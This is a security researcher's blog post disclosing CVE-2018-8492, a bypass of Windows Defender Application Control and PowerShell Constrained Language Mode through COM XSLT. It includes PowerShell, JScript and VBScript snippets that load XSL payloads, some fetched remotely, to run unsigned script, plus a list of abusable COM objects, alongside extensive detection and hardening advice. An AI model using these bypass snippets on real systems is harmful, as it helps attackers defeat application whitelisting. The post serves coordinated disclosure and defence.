COM XSL Transformation: Bypassing Microsoft Application Control Solutions (CVE-2018-8492)


Greetings, Everyone!  It has been several months since I’ve blogged, so it seems fitting to start the New Year off with a post about two topics that I thoroughly enjoy exploring: Application Control/Application Whitelisting (AWL) and the Component Object Model (COM).  As the title suggests, I stumbled upon a technique for bypassing Microsoft Application Control solutions using COM. In a particular case, the technique executes unsigned code to bypass Windows Defender Application Control (WDAC)/Device Guard, including PowerShell Constrained Language Mode (CLM) with an Extensible Stylesheet Transformation (XSLT).  In this post, we will discuss the following:

  • Brief Overview of Microsoft AWL Solutions
  • Brief Overview of PowerShell With Constrained Language Mode
  • Walkthrough of CVE-2018-8492 (WDAC Bypass via COM XSLT)
  • Defensive Considerations

*Note: This blog is not intended to be a comprehensive review of Microsoft AWL solutions or bypass techniques.  If the topics presented here are of further interest, check out the linked resources throughout this blog post to learn more.

Brief Overview of Microsoft AWL Solutions

Microsoft supports several Application Whitelisting (AWL) Solutions.  In this section, we will take a brief look at Software Restriction Policies (SRP), AppLocker, Windows Defender Application Control (WDAC), and highlight a few AWL bypass resources.  Let’s dive in…


Software Restriction Policies (SRP) were introduced as a Group Policy managed software control mechanism in Windows 2003 and XP.  In SRP, security levels define application behavior (e.g. disallowed to run) based on hash rules, certificate rules, path rules (file system & registry), and zone rules.  Policies can be applied to Dynamic Link Libraries (DLLs) and enforced for all users (including administrators).

SRP does not include a robust set of default rules (for baselining) and does not support an audit mode, so most of the work effort for creating, testing, validating, and maintaining SRP policies is dependent upon the organization.  In general, implementing and maintaining SRP can be difficult, so it is not as widely deployed with the advent of other AWL solutions.

It is worth noting that depending on the configuration, trivial bypasses are likely to circumvent rules that rely strictly on block-lists.  Overlooked file paths or file name/extension manipulation may allow for unanticipated execution.  Furthermore, SRP does not enforce code integrity policies.  As a result, unsigned (scriptlet) code may be executed from trusted binaries.

For more information on SRP and configuration guidance, check out Microsoft Docs and this whitepaper by the National Security Agency (NSA).  Also, it appears that SRP will be depreciated in the (near) future as features are no longer being developed.


AppLocker is an AWL solution that was introduced in Windows 2008 Server and Windows 7 (Enterprise and Ultimate) as an upgrade for SRP.  In comparison to SRP, AppLocker policies are easier to deploy and manage.  AppLocker supports file hash, path, and publisher rules for scripts and applications (exe, dll, appx, etc.) as well as an audit mode for testing rules.  Of note, AppLocker places PowerShell in Constrained Language Mode (CLM) for unprivileged users when policies are enforced, which restricts unapproved script execution, cmdlets, arbitrary types and type definitions.

AppLocker can be configured with a set of default rules, which is quite useful for baselining and testing the (prospective) organizational AWL policies.  However, deploying default rules is not necessarily recommended for production since there are many documented techniques for bypassing such policies due to rule-set limitations. Many of the rule-based application control bypasses are likely prevented with robust policies, but like SRP, AppLocker is not code integrity aware.

Please refer to the AppLocker Case study by Oddvar Moe (@Oddvarmoe) as well as the AaronLocker tool by Aaron Margosis (@AaronMargosis) for more information about AppLocker and further guidance for creating and testing robust AppLocker policies. These are excellent resources from two subject matter experts.


Windows Defender Application Control (WDAC), formerly called Device Guard, is an AWL solution that can “help mitigate…security threats by restricting the applications that users are allowed to run and the code that runs in the kernel” (Microsoft Docs).  WDAC was introduced in Windows 2016 and 10 (Enterprise and Education).  Under WDAC policy enforcement with User Mode Code Integrity (UMCI), a system is locked down to prevent the execution of unauthorized binaries, unsigned (script) code, and installer packages.  Furthermore, UMCI restricts PowerShell to run in CLM, which further “locks down” COM class access (instantiation) due to limitations imposed by the Windows Lockdown Policy (WLDP).  The WLDP also restricts COM instantiation from other ‘enlightened’ script hosts (such as cscript.exe and wscript.exe) when enforced by an integrity policy.

*Note: It appears that the WLDP is now called the Windows Secure Mode Policy.  

WDAC policies are highly customizable, and can be configured for audit mode to support various deployment and configuration scenarios for testing.  For introductory configuration and testing of enforced policies, Enterprise Windows operating systems that support WDAC have this default policy located at the following path:


Unlike the previously discussed default rules for SRP and AppLocker, WDAC default policies are highly restrictive and will likely not be suitable for production use.  For guidance on creating (organizational) WDAC code integrity policies, refer to this Microsoft Doc and this walkthrough by Chris Truncer (@christruncer).  For baseline testing on Windows 10 Enterprise, refer to this guide for quickly deploying WDAC with the Microsoft Recommended Block Rules.  

To learn more about all things WDAC (e.g. inner workings, bypasses, etc.), refer to the blog sites maintained by these excellent researchers:

A Few Final Notes on Microsoft AWL Solutions

  • According to Microsoft, WDAC-UMCI is a security boundary.  As such, application control bypasses may be CVE-worthy and serviceable.  Researchers should report findings to the Microsoft Security Response Center (MSRC) for evaluation prior to disclosure.  
  • Microsoft supports another pseudo “application control” rule set for Attack Surface Reduction (ASR), which is now a part of the Windows Defender Exploit Guard (WDEG)/Windows Defender Advanced Threat Protection (ATP).  ASR rules are useful for preventing the execution of ‘malicious’ code for targeted applications (e.g. Office) and protecting sensitive processes (e.g. LSASS). ASR is out of scope for this post, however, more information can be found on Microsoft Docs.

Brief Overview of PowerShell With Constrained Language Mode (CLM)

Normally, PowerShell operates in Full Language Mode.  This mode effectively allows access to all PowerShell features that includes scripting (e.g. signed and unsigned scripts), types definitions, and classes (e.g. .NET/C# access).  Introduced in PowerShell version 5, Constrained Language Mode (CLM) “restricts access to sensitive language elements that can be used to invoke arbitrary Windows APIs” (PowerShell Team Blog). Depending on configuration/policy enforcement, CLM presents a barrier (e.g. reduced attack surface) that an attacker must overcome to leverage PowerShell tools and capabilities.  To break out of the confines of CLM, an attacker must ‘bypass’ CLM controls that result in either executing malicious ‘unsigned’ code under the context of Full Language Mode within the PowerShell session (e.g. by discovering a weakness in a signed PowerShell Script) or executing malicious code that “breaks out” of the PowerShell session.  Let’s take a look at a few CLM configuration/enforcement scenarios and previously disclosed bypass techniques:

Language Mode Property Configuration

Without policy enforcement, CLM can be configured within a PowerShell session by simply setting this property and value:

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

Although CLM is highly effective at restricting access within a PowerShell context in this manner, this is an ineffective enforcement control because the property can easily be set to “FullLanguage”, which escapes the CLM confines.  Although, I would not call this a ‘bypass’ due to the lack of proper enforcement, the technique does have a similar effect as the PowerShell v2 downgrade attack.

PSLockdownPolicy Environment Variable Enforcement

In PowerShell v3, Microsoft incorporated an ‘undocumented’ feature to control various PowerShell modes by setting the __PSLockdownPolicy environment variable.  Without much time spent, the earliest reference that I could find was from this Twitter post by Oisin Grehan (@oising) which stated by by setting the value of __PSLockdownPolicy to 4, PowerShell is placed in “constrained mode.”  In this 2013 blog post, Carlos Perez (@Carlos_Perez) describes the method of setting this environment variable within the Registry using Group Policy to enforce this mode.  The value is set in the following Registry key path:

HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

In PowerShell v5, the __PSLockdownPolicy variable set to a value of 4 places the PowerShell session in CLM (as expected).  With this level of enforcement, an attempt to set the LanguageMode property to FullLanguage is unsuccessful:

Although setting __PSLockdownPolicy for CLM enforcement does provide a boundary for potentially thwarting a class of attacks that leverage PowerShell, researchers have discovered that __PSLockdownPolicy is not a proper defensive control boundary and is actually “designed for debugging purposes” as demonstrated by Matt Graeber in this very straight forward “System32 folder/file manipulation” bypass:

Under enforced PSLockdownPolicy, another method for bypassing CLM is achieved through unmanaged PowerShell.  Since the PSLockdownPolicy method is not backed by an AWL solution (in this test case), leveraging .NET’s System.Management.Automation namespace allows us to run PowerShell commands in Full Language Mode in our own runspace (without PowerShell.exe or PowerShell_ISE.exe).  In this example, the P0wnedShell tool by Cn33liz (@Cneelis) is leveraged to showcase this concept:



Setting PSLockdownPolicy is not the most robust method for enforcing CLM, but some organizations may benefit if other compensating controls and enhanced detection optics are present.  However, the ‘preferred’ methods for enforcing CLM is with Microsoft Application Control solutions. Let’s take a look at a few options, benefits, and caveats…

Application Control CLM Enforcement

When whitelisting policies are enforced, PowerShell CLM is applied in AppLocker (for users in “Allowed Mode”) and WDAC (for users and administrators).

AppLocker Enforcement

Although AppLocker is not considered to be a security boundary (e.g. non-serviceable if/when bypasses are discovered), it is still a very approachable AWL solution and is quite effective for users (non-admins) with properly configured rules (e.g. AaronLocker).  However, there are a few notable exceptions.

Under AppLocker, aforementioned CLM bypasses such as changing the LanguageMode property or dropping our own PowerShell runspace to disk no longer work (based on a test case with default rules).  Nevertheless, clever bypasses have been discovered to execute in Full Language Mode and/or to break out of a CLM session (e.g. to execute unsigned code).

Oddvar Moe presented App-o-Lockalypse at DerbyCon 2018 and discovered a way to spawn a Full Language Mode session from a CLM session by manipulating environmental variable paths for PS scripts that are created under ‘temp’ directory paths (with a default AppLocker configuration).

*Note: this can be prevented with properly configured NTFS ACL/ACE write rules or AppLocker Script rules.  For more information, refer to Oddvar’s very insightful post for preventative recommendations.

A novel technique disclosed by Adam Chester (@_xpn_) takes advantage of COM instantiation.  Under AppLocker ‘enforced’ PowerShell CLM, pretty much any Component Object Model (COM) object can be instantiated with the new-object cmdlet and comobject parameter with a Program Identifier (ProgID) as follows:

new-object -comobject [ProgID]
new-object -com [ProgID]

This is allowed because the enforcement check for the lockdown policy passes (since AppLocker has enabled CLM) and any COM object
Class Identifier
(CLSID) approval check is true (since AppLocker does not have an enforced code integrity policy).  The repercussions of this are pretty much dependent on attacker discovery and payload delivery as there are many possibilities to leverage COM for unsigned code execution. We’ll revisit this topic in more detail and highlight several (ab)use cases later in this post.

*Note: Interestingly, CLM without AWL enforcement does not allow COM instantiation (e.g. an attempt to use new-object cmdlet and comobject parameter) because the lockdown check fails (by exception) and returns an error.  For more detailed information, refer to Adam Chester’s excellent blog post.

WDAC Code Integrity Enforcement

WDAC/Device Guard code integrity policies are a very effective way to lockdown a Windows machine and greatly reduce the system attack surface.  Code execution from unsigned or unapproved scripts and binaries are restricted, and PowerShell CLM is properly enforced. Now, Let’s revisit COM object instantiation within PowerShell –

When “enforced” by AppLocker policy, CLM COM object instantiation is very open. In essence, (m)any COM object can be instantiated.   Under WDAC with UMCI, the WLDP greatly reduces this number (between 8 to 50 COM objects according to James Forshaw of Google Project Zero in this .NET COM Instantiation UMCI bypass disclosure write-up). When a COM object instantiation attempt occurs (e.g. an attempt to use new-object cmdlet and comobject parameter), the WldpIsClassInApprovedList() export function (from wlpd.dll) is consulted to check whether the resolved CLSID is allowed.  If so, the COM object is instantiated and the object’s methods and properties are accessible. If not, instantiation is prevented and an error message is thrown.

As mentioned in a previous section, WDAC is a security boundary, and as such, discovered bypasses may be serviced by Microsoft or added to the recommended block list.  CLM bypasses that also circumvent WDAC are usually serviced.  

Now, let’s shift gears and discuss a finding that met the bar for servicing…

CVE-2018-8492: WDAC Bypass via COM Object Extensible Stylesheet Language Transformation (XSLT)

Over the last few years, Casey Smith has discovered very interesting AWL bypass/”living off the land” techniques that leverage signed Microsoft binaries to execute unsigned scriptlet code.  Of these, Casey’s Extensible Stylesheet Language (XSL) research and excellent findings (such as msxml.exe and wmic.exe to name a few) were the most intriguing to me, and ultimately, the motivation for this research.  In short, XSL is used to “transform and render XML documents” (Wikipedia).  This includes transforming XML documents into other output documents such as HTML or Office (e.g. an Excel Spreadsheet).  Most interestingly, XSL transformation (XSLT) can execute embedded script host code.

XSLT COM Discovery

A search for COM components of the Microsoft Extensible Markup Language (MSXML Core Services) that could be used to transform XML documents quickly revealed several methods and properties of interest.  The most obvious methods and properties are transform(), transformNode(), transformNodeToObject(), and AllowXsltScript (to name a few).  These are members of interesting COM objects (e.g. Msxml2.DOMDocument.6.0) that implement interfaces (e.g. IXMLDOMDocument* flavors) for method and property access.  

After running Strings against various binaries and analyzing several signed scripts (VBScript/JScript), it was quite clear to see that these components likely served an influential role for XSL code execution, such as within wmic.exe and winrm.vbs:


*Note: The Strings program appears to have truncated a few letters in the output.  IXSProcessor is likely IXSLProcessor, tranform is likely transform, etc.



*Note: For more information about the Winrm AWL bypass, refer to Matt Graeber’s write-up that includes excellent detection strategies.

Proof-of-Concept XSL Script Execution

After gaining some insight into COM/XSL transformation, I opted to test a payload to see it in action.  Turning to PowerShell, I leveraged Casey Smith’s minimalist XML/XSL payload to launch cmd.exe with (unsigned) JScript code:

$xsl = new-object -com Msxml2.DOMDocument.6.0




Unsurprisingly, the scriptlet code is executed and launches the command processor.   Let’s take this and expand on this further…

AppLocker PowerShell CLM XSLT Bypass

As a proof of concept, let’s peel out the code between the script tags and save it as a JScript (js) file.  An attempt to launch the JScript file (minimalist.js) with Windows Script Hosts binaries (cscript.exe and wscript.exe) under AppLocker with default rules (and without relying on a path rule bypass) results in the following output:


As expected, the execution attempts to launch the payload scripts fails.  When attempting to use reflection to load the Microsoft.Jscript assembly with .NET reflection in PowerShell under CLM, it fails as well:


However, if we launch the previously used PowerShell snippet with the XSLT payload using the new-object cmdlet and comobject parameter under the AppLocker Policy, the execution is successful:


When I saw this for the first time, I was quite surprised to see that it worked.  It wasn’t until I had a basic understanding of how Windows Lockdown Policy (WLDP) enforcement for COM object instantiation actually worked when this made sense.  Now, let’s turn our attention back to WDAC…

WDAC COM Object Enumeration

Under the default WDAC code integrity policy (on Windows 10 1803), our PowerShell XSL payload snippet does not execute due to COM object WLDP enforcement as shown in the following screenshot:


For this test case, the Windows Lockdown Policy (WLDP) is properly enforced, and the COM object is not instantiated.  Recalling what I read from a Google Project Zero write-up, James Forshaw stated that there are between 8 – 50 COM objects that could be instantiated by ‘enlightened’ script hosts (e.g. PowerShell) at the time of his reporting.  To discover which COM objects could be instantiated under the WDAC policy on my test machine, I enumerated the accessible COM objects with the following PowerShell snippet:

$ErrorActionPreference = "SilentlyContinue"
$ids = gwmi Win32_COMSetting | ?{ $_.ProgId -ne $null }
$ids | ForEach {if (new-object -com $_.ProgID){$_.ProgID}}

Under WDAC, the PowerShell snippet returned the following results (at the time of testing):


As expected, there were only a few COM objects that were actually permitted.  However, it was the Microsoft.XMLDOM.1.0 ProgID that stuck out.  As such, I decided to investigate further to see the which members were accessible:


Immediately, I recognized a few familiar transform methods, and noted that the implemented COM Interface Identifier (IID) GUID value (2933bf95-7b36-11d2-b20e-00c04f983e60) is the IXMLDOMDocument2 interface.

WDAC PowerShell CLM XSLT Bypass

After identifying the COM object methods for Microsoft.XMLDOM.1.0, I decided to slightly modify the PowerShell snippet to test for unsigned code execution:

$xsl = new-object -com Microsoft.XMLDOM.1.0

*Note: Microsoft.XMLDOM.1.0 is implemented in MSXML v3.0, which does not require the AllowXsltScript property to be set for script host execution since it set to true by default.

After running the snippet, the payload executes under the context of CLM and a Device Guard code integrity policy:


For clarity, the WDAC policy status in the previous image is actually snipped output from the System Information utility (msinfo32.exe).

WDAC Bypass with Classic WSH Binaries

In addition to PowerShell, the WLDP allows for Microsoft.XMLDOM.1.0 instantiation with the classic WSH binaries such as cscript.exe and wscript.exe to execute unsigned script code.  For example, the following script snippets will launch the same XSL payload using a remote fetch technique when invoked:


xsl = new ActiveXObject("Microsoft.XMLDOM.1.0");

xsl.async = false;




Set xsl= CreateObject("Microsoft.XMLDOM.1.0")
xsl.async = false
xsl.load ""
xsl.transformnode xsl

Effectively, the benign JScript payload is not allowed to instantiate the WScript.Shell COM object when launched on its own (which is named test.js in this test case).  However, we can leverage the XSLT trampoline (minimalist.js) to instantiate WScript.Shell (which is embedded in the remote minimalist.xml payload) as shown in the following screenshot:


*Note: A script host such as Mshta.exe is explicitly denied within the Microsoft Block Rules, which are merged with the Default WDAC policy for this test case.

Defensive Considerations

Let’s take a look at a few defensive considerations for the Blue Teamers –

XSLT COM Object Awareness

Although CVE-2018-8492 was patched to prevent Microsoft.XMLDOM.1.0 scriptlet execution under WDAC, defenders should be aware that the XSLT techniques can still be used for attacker tradecraft and for bypassing other AWL solutions.

With the exposure of so many COM objects, it is quite trivial to speculate that Microsoft.XMLDOM.1.0 and Msxml2.DOMDocument.6.0 are not the only objects that include transform methods to perform the same XSL COM script execution.  These other objects were identified:

ProgID CLSID Notes
Microsoft.XMLDOM 2933BF90-7B36-11D2-B20E-00C04F983E60 Alias for XMLDOM.1.0
Microsoft.XMLDOM.1.0 2933BF90-7B36-11D2-B20E-00C04F983E60 InprocServer32 – msxml3.dll
Microsoft.FreeThreadedXMLDOM 2933BF91-7B36-11D2-B20E-00C04F983E60 Alias for FreeThreadedXMLDOM.1.0
Microsoft.FreeThreadedXMLDOM.1.0 2933BF91-7B36-11D2-B20E-00C04F983E60 InprocServer32 – msxml3.dll
Msxml2.DOMDocument F5078F32-C551-11D3-89B9-0000F81FE221 Alias for DOMDocument.3.0
Msxml2.DOMDocument.3.0 F5078F32-C551-11D3-89B9-0000F81FE221 InprocServer32 – msxml3.dll
Msxml2.FreeThreadedDOMDocument F5078F33-C551-11D3-89B9-0000F81FE221 Alias for FreeThreadedDOMDocument.3.0
Msxml2.FreeThreadedDOMDocument.3.0 F5078F33-C551-11D3-89B9-0000F81FE221 InprocServer32 – msxml3.dll
Msxml2.DOMDocument.6.0 88d96a05-f192-11d4-a65f-0040963251e5 InprocServer32 – msxml6.dll
Msxml2.FreeThreadedDOMDocument.6.0 88d96a06-f192-11d4-a65f-0040963251e5 InprocServer32 – msxml6.dll

There may be other COM objects that expose similar XSLT methods and properties along with other COM objects that can execute scriptlet code.  Furthermore, these objects can be used to remotely fetch resources (as demonstrated in the previous section), and may leverage other classes and objects to do so.  For example, the Microsoft.XMLHTTP.1.0 and related COM objects offer this functionality.

*Note: XML transformations can be used in .NET with the XslCompiledTransform class.  Furthermore, a .NET XmlDocument class instance is allowed under PowerShell CLM, and the load() method can be used as a download cradle to fetch a remote XML compliant file (e.g. an XSL payload).  A proof of concept is available here.

PowerShell Security Controls & Optics

Here are a few recommendations and resources for PowerShell:

  • Upgrade to PSv5.x. PowerShell security and optics has vastly improved in recent years, especially with the release of Windows Management Framework 5 which includes PowerShell version 5.  If your organization does not run version 5, it is highly recommended that you upgrade to take advantage of the security enhancements such as advanced logging features and for enabling CLM.
  • Ditch PSv2. In addition to upgrading to PowerShell v5, it is highly recommended to disable PowerShell version 2 within the environment to prevent downgrade attacks as the security optics in version 2 are minimal, and CLM is not supported.
  • Hunt for Lower Version PS Loading. Lee Holmes offers detection and prevention guidance for this attack in this blog post, including a PowerShell snippet that queries the PowerShell Event Log for low version PowerShell Loads –


  • Enable PS Logging for Greater Visibility. Configuring Transcription, Module, and ScriptBlock logs provides incredible insight into the commands, cmdlets, and payloads that are run within PowerShell.  Transcription logging requires the configuration of a disk/file share location to output log files. Module events (Event ID 4103) and ScriptBlock events (Event ID 4104) are accessible within the PowerShell Operational Event Log.
  • Use CLM and Monitor.  Constrained Language Mode has incredible value. Enabling CLM for preventative measures while continually monitoring for suspicious tampering (e.g. bypass attempts) is a security gain.
  • Identify COM Object Instantiation Events.  In the PowerShell Operational Event Log (Event Viewer -> Application and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational), COM object instantiation attempts will log as Module Events (Event ID 4103) if enabled.  Successful instantiation is noted in Information messages with the following payload data string (in the message):
    ParameterBinding(New-Object): name="ComObject"; value="[ProgID]"

    Filtering on such events within a SIEM or log parsing tool is extremely valuable for identifying possible misuse of COM objects (such as those that can be abused for XSLT).


WSH Optics & Awareness

Here are a few recommendations and resources for Windows Script Hosts:

  • Monitor known binaries.  Cscript.exe, Wscript.exe, Mshta.exe, Wmic.exe, Regsvr32.exe, Winrm.vbs, and Pubprn.vbs are a few known (signed) binaries and scripts that threat actors use for code execution, evasion, and bypass.  Mitre ATT&CK and LOLBAS are excellent resources for building baseline detections and understanding how these native utilities could be used for attacks.  This talk by Daniel Bohannon (@danielhbohannon) and Matthew Dunwoody (@matthewdunwoody) is a great reference for methodically building resilient detections.
  • AMSI.  Script host content can be captured through the Antimalware Scan Interface (AMSI) with Event Tracing for Windows (ETW).  I did not know about this until Matt Graeber blogged about it a few months ago. Check out this excellent post for more information.
  • Check the wire.  If encrypted communications are not an issue for your organization, building detections for remotely fetched HTTP/S resources (e.g. SCT, WSH, and XML/XSL files) could be very useful.   These requests will likely contain interesting User Agents, and the responses will likely contain XML script tags and attributes (and quite possibly, tasteful obfuscation 🙂).


AWL Solutions

Despite the possibility for bypass and evasion, AWL is an essential component of endpoint security like Endpoint Detection & Response (EDR) and Antivirus (AV). Here are a few recommendations for AWL solutions if you plan or already use Application Control in your environment:

  • Plan to use AWL (in the future).  Although AWL is a fantastic way to reduce security risk and exposure, many organizations do not implement it (at least most that I have assessed).  Opinions may vary, but I believe that a partial solution is still better than no solution. If you run any modern version of Windows server, AppLocker is ‘free’, built-in, and can be centrally managed with Group Policy.  If you are considering AWL, review this Strategic Planning Guide by DHS before getting started.
  • Maintain and Improve.  Like EDR and AV solutions, AWL policies, rules, and systems should be maintained for optimal health and effectiveness.  Depending on the AWL configuration and rule sets (e.g. new block rules), system changes (e.g. updates, software installation, etc.) may require tweaks and changes to the AWL software.  Furthermore, if you have a basic policy and rule set deployed, set resiliency goals to improve over time. If your organization is very serious about endpoint security, WDAC just may be a game-changer. Furthermore, WDAC and AppLocker support an audit mode for building, testing, and evaluating policies.
  • Monitor AWL Logs.  AWL event logs provide a wealth of information for network defenders and system administrators.  AWL event forwarding (to a SIEM) and alerting may show that a critical executable or library needs to be added to a policy, or that a potential security incident has occurred due to various (failed) execution attempts of unapproved applications.

    In AppLocker, the event logs are located at:  Event Viewer -> Application and Services Logs -> Microsoft -> Windows -> AppLocker.  The following logs are included: EXE and DLL, MSI and Script, Packaged app-Deployment, and Packaged app-Execution.  Here is a sample error log entry generated for a blocked executable (Event ID 8004):applocker_8004_error
    In WDAC, the log is located at: Event Viewer -> Application and Services Logs -> Microsoft -> Windows -> Code Integrity -> Operational.  Here is a sample error log entry generated for a blocked executable (Event ID 3077):
  • Test your enforced policies and rules.  Discover and mitigate protection gaps by implementing a continuous testing program and/or by working with a red/purple team.  There are some tools out there to help with this. Take a look at GreatSCT by Chris Spehn (@conscioushacker) for payload generation and PowerAL by Oddvar Moe for AppLocker specific test cases.
  • Patch.  If you are using WDAC or a 3rd party AWL solution, ensure that the software is up-to-date to resolve bugs that could lead to gaps in protective controls.

Final Thoughts

I’ve spent much more time writing this blog post than I’ve originally planned, so many thanks for taking time out of your day to read it!  Any new findings and information will be presented in a follow-up post. Before leaving, here are a few links to some other great resources, credits to those who continue to help shape this research, and information about the disclosure timeline:

Other Notable Resources

Here are a few great resources that are worth mentioning related to the topics presented in this blog:

  • COM In 60 Seconds (Minutes) by James Forshaw provides a great overview of COM’s inner workings.
  • DotNettToJScript by James Forshaw is a tool for creating Jscript payloads that load .NET assemblies into memory.  
  • FreeStyling with SharpShooter v1.0 by Dominic Chell (@domchell) showcases the use of XSL transformation as a vector for payload generation.
  • Follow the #DailyScriptlet on Twitter for open source threat intel about COM scriptlets (including stylesheets) that are seen “in the wild.”  Nick Carr (@ItsReallyNick) and John Lambert (@JohnLaTwC) offer great insight into their findings from VirusTotal.
  • WinAWL by Brian in Pittsburgh (@arekfurt) has published some great notes and sample policies for WDAC.


I wanted to acknowledge a few folks who have influenced this research (directly or indirectly) and who were extremely helpful through the vetting/disclosure process:

  • Researchers: Oddvar Moe, Philip Tsukerman (@PhilipTsukerman), Casey Smith, Matt Nelson, James Forshaw, Adam Chester, Chris Spehn and Matt Graeber for their willingness to share their research, offer advice, and vet findings.  
  • MSRC Case Workers: Nate and James for their professionalism and patience for working with me through the disclosure process, which was not the easiest at times.

Disclosure & Patching Timeline

  • April 2018: MSRC was contacted about the XSL COM Object CLM Bypass (Generic)
  • May 2018: Continued dialogue with MSRC about issue details and replication
  • June 2018: MSRC confirmed the Microsoft.XMLDOM.1.0 WDAC bypass after other details emerged and declared that the finding would be serviced
  • August 2018: MSRC requests extension for issuing a patch
  • October 2018: CVE-2018-8492 (“Device Guard Code Integrity Policy Security Feature Bypass Vulnerability”) was patched